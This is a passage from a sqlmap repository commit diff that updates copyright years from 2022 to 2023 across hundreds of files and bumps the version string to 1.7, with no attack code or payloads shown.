 tamper/commalessmid.py                  | 2 +-
 tamper/commentbeforeparentheses.py      | 2 +-
 tamper/concat2concatws.py               | 2 +-
 tamper/decentities.py                   | 2 +-
 tamper/dunion.py                        | 2 +-
 tamper/equaltolike.py                   | 2 +-
 tamper/equaltorlike.py                  | 2 +-
 tamper/escapequotes.py                  | 2 +-
 tamper/greatest.py                      | 2 +-
 tamper/halfversionedmorekeywords.py     | 2 +-
 tamper/hex2char.py                      | 2 +-
 tamper/hexentities.py                   | 2 +-
 tamper/htmlencode.py                    | 2 +-
 tamper/ifnull2casewhenisnull.py         | 2 +-
 tamper/ifnull2ifisnull.py               | 2 +-
 tamper/informationschemacomment.py      | 2 +-
 tamper/least.py                         | 2 +-
 tamper/lowercase.py                     | 2 +-
 tamper/luanginx.py                      | 2 +-
 tamper/misunion.py                      | 2 +-
 tamper/modsecurityversioned.py          | 2 +-
 tamper/modsecurityzeroversioned.py      | 2 +-
 tamper/multiplespaces.py                | 2 +-
 tamper/ord2ascii.py                     | 2 +-
 tamper/overlongutf8.py                  | 2 +-
 tamper/overlongutf8more.py              | 2 +-
 tamper/percentage.py                    | 2 +-
 tamper/plus2concat.py                   | 2 +-
 tamper/plus2fnconcat.py                 | 2 +-
 tamper/randomcase.py                    | 2 +-
 tamper/randomcomments.py                | 2 +-
 tamper/schemasplit.py                   | 2 +-
 tamper/scientific.py                    | 2 +-
 tamper/sleep2getlock.py                 | 2 +-
 tamper/sp_password.py                   | 2 +-
 tamper/space2comment.py                 | 2 +-
 tamper/space2dash.py                    | 2 +-
 tamper/space2hash.py                    | 2 +-
 tamper/space2morecomment.py             | 2 +-
 tamper/space2morehash.py                | 2 +-
 tamper/space2mssqlblank.py              | 2 +-
 tamper/space2mssqlhash.py               | 2 +-
 tamper/space2mysqlblank.py              | 2 +-
 tamper/space2mysqldash.py               | 2 +-
 tamper/space2plus.py                    | 2 +-
 tamper/space2randomblank.py             | 2 +-
 tamper/substring2leftright.py           | 2 +-
 tamper/symboliclogical.py               | 2 +-
 tamper/unionalltounion.py               | 2 +-
 tamper/unmagicquotes.py                 | 2 +-
 tamper/uppercase.py                     | 2 +-
 tamper/varnish.py                       | 2 +-
 tamper/versionedkeywords.py             | 2 +-
 tamper/versionedmorekeywords.py         | 2 +-
 tamper/xforwardedfor.py                 | 2 +-
 402 files changed, 405 insertions(+), 405 deletions(-)

diff --git a/LICENSE b/LICENSE
index a46c0da58b5..172de6054cb 100644
--- a/LICENSE
+++ b/LICENSE
@@ -1,7 +1,7 @@
 COPYING -- Describes the terms under which sqlmap is distributed. A copy
 of the GNU General Public License (GPL) is appended to this file.
 
-sqlmap is (C) 2006-2022 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
+sqlmap is (C) 2006-2023 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
 
 This program is free software; you may redistribute and/or modify it under
 the terms of the GNU General Public License as published by the Free
diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt
index f3679cf892b..b2e00b3456d 100644
--- a/data/txt/common-columns.txt
+++ b/data/txt/common-columns.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 id
diff --git a/data/txt/common-files.txt b/data/txt/common-files.txt
index f20610d9d33..8fbbe0ebd7b 100644
--- a/data/txt/common-files.txt
+++ b/data/txt/common-files.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # CTFs
diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt
index 7ac22206d20..60bdf5edb26 100644
--- a/data/txt/common-outputs.txt
+++ b/data/txt/common-outputs.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 [Banners]
diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt
index 21ab6eb482e..8776e2e8864 100644
--- a/data/txt/common-tables.txt
+++ b/data/txt/common-tables.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 users
diff --git a/data/txt/keywords.txt b/data/txt/keywords.txt
index b0976fde549..f8c81387c07 100644
--- a/data/txt/keywords.txt
+++ b/data/txt/keywords.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
diff --git a/data/txt/user-agents.txt b/data/txt/user-agents.txt
index d18904fcaae..02f52001940 100644
--- a/data/txt/user-agents.txt
+++ b/data/txt/user-agents.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Opera
diff --git a/extra/__init__.py b/extra/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/extra/__init__.py
+++ b/extra/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/extra/beep/__init__.py
+++ b/extra/beep/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/extra/beep/beep.py b/extra/beep/beep.py
index b5542c3b8f0..ad932834021 100644
--- a/extra/beep/beep.py
+++ b/extra/beep/beep.py
@@ -3,7 +3,7 @@
 """
 beep.py - Make a beep sound
 
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/extra/cloak/__init__.py
+++ b/extra/cloak/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py
index ddaf90303a8..77cef7c4219 100644
--- a/extra/cloak/cloak.py
+++ b/extra/cloak/cloak.py
@@ -3,7 +3,7 @@
 """
 cloak.py - Simple file encryption/compression utility
 
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/extra/dbgtool/__init__.py
+++ b/extra/dbgtool/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py
index 6832980b87e..c8e0c97339c 100644
--- a/extra/dbgtool/dbgtool.py
+++ b/extra/dbgtool/dbgtool.py
@@ -3,7 +3,7 @@
 """
 dbgtool.py - Portable executable to ASCII debug script converter
 
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh
index 39bf14fecb9..bcc7440aff4 100755
--- a/extra/shutils/blanks.sh
+++ b/extra/shutils/blanks.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Removes trailing spaces from blank lines inside project files
diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh
index bf48851a0b1..9a75fbf2f9e 100755
--- a/extra/shutils/drei.sh
+++ b/extra/shutils/drei.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Stress test against Python3
diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py
index 085909ea0a4..0278b85dc3b 100755
--- a/extra/shutils/duplicates.py
+++ b/extra/shutils/duplicates.py
@@ -1,6 +1,6 @@
 #!/usr/bin/env python
 
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Removes duplicate entries in wordlist like files
diff --git a/extra/shutils/junk.sh b/extra/shutils/junk.sh
index 375dab75120..e3bfc70b96b 100755
--- a/extra/shutils/junk.sh
+++ b/extra/shutils/junk.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null
diff --git a/extra/shutils/modernize.sh b/extra/shutils/modernize.sh
index 1bda50f5e83..e0b5352d892 100755
--- a/extra/shutils/modernize.sh
+++ b/extra/shutils/modernize.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # sudo pip install modernize
diff --git a/extra/shutils/pycodestyle.sh b/extra/shutils/pycodestyle.sh
index 137ea73ba79..34d995cde68 100755
--- a/extra/shutils/pycodestyle.sh
+++ b/extra/shutils/pycodestyle.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
diff --git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh
index 9e45e61ef9c..6f964e74752 100755
--- a/extra/shutils/pydiatra.sh
+++ b/extra/shutils/pydiatra.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Runs py3diatra on all python files (prerequisite: pip install pydiatra)
diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh
index eb4640542a4..9d64d9893dc 100755
--- a/extra/shutils/pyflakes.sh
+++ b/extra/shutils/pyflakes.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes)
diff --git a/extra/shutils/pylint.sh b/extra/shutils/pylint.sh
index 2dc13c0731b..b8898be2d36 100755
--- a/extra/shutils/pylint.sh
+++ b/extra/shutils/pylint.sh
@@ -1,6 +1,6 @@
 #!/bin/bash
 
-# Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+# Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 
 find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pylint --rcfile=./.pylintrc '{}' \;
diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh
index c2b735ebbf0..4aed1e72d6e 100755
--- a/extra/shutils/pypi.sh
+++ b/extra/shutils/pypi.sh
@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -67,7 +67,7 @@ cat > sqlmap/__init__.py << EOF
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/extra/vulnserver/__init__.py b/extra/vulnserver/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/extra/vulnserver/__init__.py
+++ b/extra/vulnserver/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py
index 37d7df3c3be..76f9c23762a 100644
--- a/extra/vulnserver/vulnserver.py
+++ b/extra/vulnserver/vulnserver.py
@@ -3,7 +3,7 @@
 """
 vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
 
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/__init__.py b/lib/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/__init__.py
+++ b/lib/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/controller/__init__.py
+++ b/lib/controller/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/controller/action.py b/lib/controller/action.py
index 40f9b78d833..1aeb0bcc409 100644
--- a/lib/controller/action.py
+++ b/lib/controller/action.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/controller/checks.py b/lib/controller/checks.py
index 997abb3dc3e..b0d5fd6b51b 100644
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/controller/controller.py b/lib/controller/controller.py
index 929a7c982bf..2ea81d9c242 100644
--- a/lib/controller/controller.py
+++ b/lib/controller/controller.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/controller/handler.py b/lib/controller/handler.py
index 1341fd44cd9..227a2ceb73f 100644
--- a/lib/controller/handler.py
+++ b/lib/controller/handler.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/__init__.py b/lib/core/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/lib/core/__init__.py
+++ b/lib/core/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/agent.py b/lib/core/agent.py
index b3f8700825c..001486101f2 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py
index 6bf001c5f35..3cccd2d1ec6 100644
--- a/lib/core/bigarray.py
+++ b/lib/core/bigarray.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/common.py b/lib/core/common.py
index bf2006d72bf..a691edc2ac3 100644
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/compat.py b/lib/core/compat.py
index 6a7a4076914..851e57eb87d 100644
--- a/lib/core/compat.py
+++ b/lib/core/compat.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/convert.py b/lib/core/convert.py
index 4e7d02b62bd..c6f86aa1fe1 100644
--- a/lib/core/convert.py
+++ b/lib/core/convert.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/data.py b/lib/core/data.py
index 13551fe30a6..c2b4325d719 100644
--- a/lib/core/data.py
+++ b/lib/core/data.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/datatype.py b/lib/core/datatype.py
index 66dd103140c..eadcb9cf7ab 100644
--- a/lib/core/datatype.py
+++ b/lib/core/datatype.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/decorators.py b/lib/core/decorators.py
index 3f23895d137..433ae3f959b 100644
--- a/lib/core/decorators.py
+++ b/lib/core/decorators.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/defaults.py b/lib/core/defaults.py
index d4109c94f52..54410f6dbf6 100644
--- a/lib/core/defaults.py
+++ b/lib/core/defaults.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/dicts.py b/lib/core/dicts.py
index baae9643b08..157adc2aded 100644
--- a/lib/core/dicts.py
+++ b/lib/core/dicts.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/dump.py b/lib/core/dump.py
index 30884970456..2e3cdfde635 100644
--- a/lib/core/dump.py
+++ b/lib/core/dump.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/enums.py b/lib/core/enums.py
index b5582f47fca..188bd9fc3c9 100644
--- a/lib/core/enums.py
+++ b/lib/core/enums.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/exception.py b/lib/core/exception.py
index 84eb883053a..8e487ce30e9 100644
--- a/lib/core/exception.py
+++ b/lib/core/exception.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/gui.py b/lib/core/gui.py
index 6b839eca36e..fa6f2694943 100644
--- a/lib/core/gui.py
+++ b/lib/core/gui.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -223,7 +223,7 @@ def enqueue(stream, queue):
     helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE))
     helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE))
     helpmenu.add_separator()
-    helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2022\n\n    (%s)" % DEV_EMAIL_ADDRESS))
+    helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2023\n\n    (%s)" % DEV_EMAIL_ADDRESS))
     menubar.add_cascade(label="Help", menu=helpmenu)
 
     window.config(menu=menubar)
diff --git a/lib/core/log.py b/lib/core/log.py
index 2737b3095cf..64e4f1b71dd 100644
--- a/lib/core/log.py
+++ b/lib/core/log.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/option.py b/lib/core/option.py
index 29570dcdbb2..46583762048 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py
index 573361b9207..48343a494ac 100644
--- a/lib/core/optiondict.py
+++ b/lib/core/optiondict.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/patch.py b/lib/core/patch.py
index ca333bc9607..18681432519 100644
--- a/lib/core/patch.py
+++ b/lib/core/patch.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/profiling.py b/lib/core/profiling.py
index 9b39e1dd027..4fddab24a7e 100644
--- a/lib/core/profiling.py
+++ b/lib/core/profiling.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py
index a3cea35dcc8..0a6c1dd5185 100644
--- a/lib/core/readlineng.py
+++ b/lib/core/readlineng.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/replication.py b/lib/core/replication.py
index b21b1d19bb5..236d1ed4463 100644
--- a/lib/core/replication.py
+++ b/lib/core/replication.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/revision.py b/lib/core/revision.py
index 14e6b1b7f49..7abd30cd03e 100644
--- a/lib/core/revision.py
+++ b/lib/core/revision.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/session.py b/lib/core/session.py
index 9357a5bb525..c50d7b03e87 100644
--- a/lib/core/session.py
+++ b/lib/core/session.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/settings.py b/lib/core/settings.py
index ad6ed8453b4..3223a88e4ec 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.6.12.11"
+VERSION = "1.7"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/lib/core/shell.py b/lib/core/shell.py
index e6ad40aa228..2ed47cecb8e 100644
--- a/lib/core/shell.py
+++ b/lib/core/shell.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py
index beb29f70a45..36fdf65636e 100644
--- a/lib/core/subprocessng.py
+++ b/lib/core/subprocessng.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/target.py b/lib/core/target.py
index 0b3fe9592a5..7496d71b793 100644
--- a/lib/core/target.py
+++ b/lib/core/target.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/lib/core/testing.py b/lib/core/testing.py
index 96b93ee534a..55e2d659865 100644
--- a/lib/core/testing.py
